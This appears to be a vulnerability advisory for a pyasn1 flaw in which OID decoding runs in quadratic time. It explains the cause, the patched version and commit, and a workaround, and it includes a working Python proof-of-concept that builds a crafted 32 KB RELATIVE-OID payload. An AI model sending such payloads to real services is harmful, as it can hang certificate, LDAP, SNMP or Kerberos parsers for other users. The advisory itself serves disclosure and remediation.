high · 7.5CVE-2026-59885Jul 21, 2026

CVE-2026-59885: pyasn1 Quadratic Complexity OID Decoding Denial of Service

Shubham Kandhare
Security Engagement Manager, SecureLayer7

pyasn1's BER/CER/DER decoder builds OID and RELATIVE-OID values using repeated tuple copies, letting an attacker send a small crafted message that consumes seconds of CPU per decode call and hangs any

Packagepyasn1
Ecosystempip
Affected<= 0.6.3
Fixed in0.6.4

The problem

The ObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py accumulate parsed arcs by concatenating tuples inside a loop. Each concatenation copies the entire tuple, so decoding an OID with n arcs does O(n²) work.

The same quadratic pattern exists in the corresponding encoders. Any application that decodes untrusted ASN.1, such as TLS certificate parsers, LDAP clients, SNMP agents, or Kerberos libraries built on pyasn1, is exposed. A single ~32 KB payload can consume several seconds of CPU per decode() call.

Proof of concept

A working proof-of-concept for CVE-2026-59885 in pyasn1, with the exact payload below.

python
import struct
from pyasn1.codec.ber import decoder

# 32768 single-byte RELATIVE-OID arcs (0x01 = arc value 1, high bit clear = no continuation)
n_arcs = 32768
value = b'\x01' * n_arcs

# BER long-form length: 0x82 signals 2 length bytes follow
length = struct.pack('>BH', 0x82, n_arcs)

# Tag 0x0d = RELATIVE-OID
payload = b'\x0d' + length + value

# Blocks for multiple seconds on pyasn1 <= 0.6.3
result, _ = decoder.decode(payload)

The old decoder code built the arc tuple via prepend on every iteration: oid = (0,) + oid, oid = (1, oid[0] - 40) + oid[1:], etc. Python tuples are immutable, so each prepend allocates and copies the full tuple, giving O(n) cost per arc and O(n²) total for n arcs.

The patch (commit 45bdb19) replaced tuple-prepend accumulation with a list that accepts append() in O(1), converting to a tuple only once at the end. Each byte value 0x01 is a self-contained single-byte arc (high bit 0 means no continuation octet follows), so 32768 bytes produce 32768 arcs and maximise the quadratic blowup within a small input.

The arc-size limit added for CVE-2026-23490 restricts the byte length of a single arc but places no cap on the number of arcs, so it provides no protection here.

The fix

Upgrade pyasn1 to 0.6.4. The fix is in commit 45bdb19eb7df4b3780fe9c912c63e99bffc39dd9; arc accumulation in both decoders and encoders now runs in linear time. As a short-term workaround, enforce a byte-length cap on untrusted ASN.1 input before passing it to decode().

Reported by tynus2.

References: [1][2][3][4][5]

Related research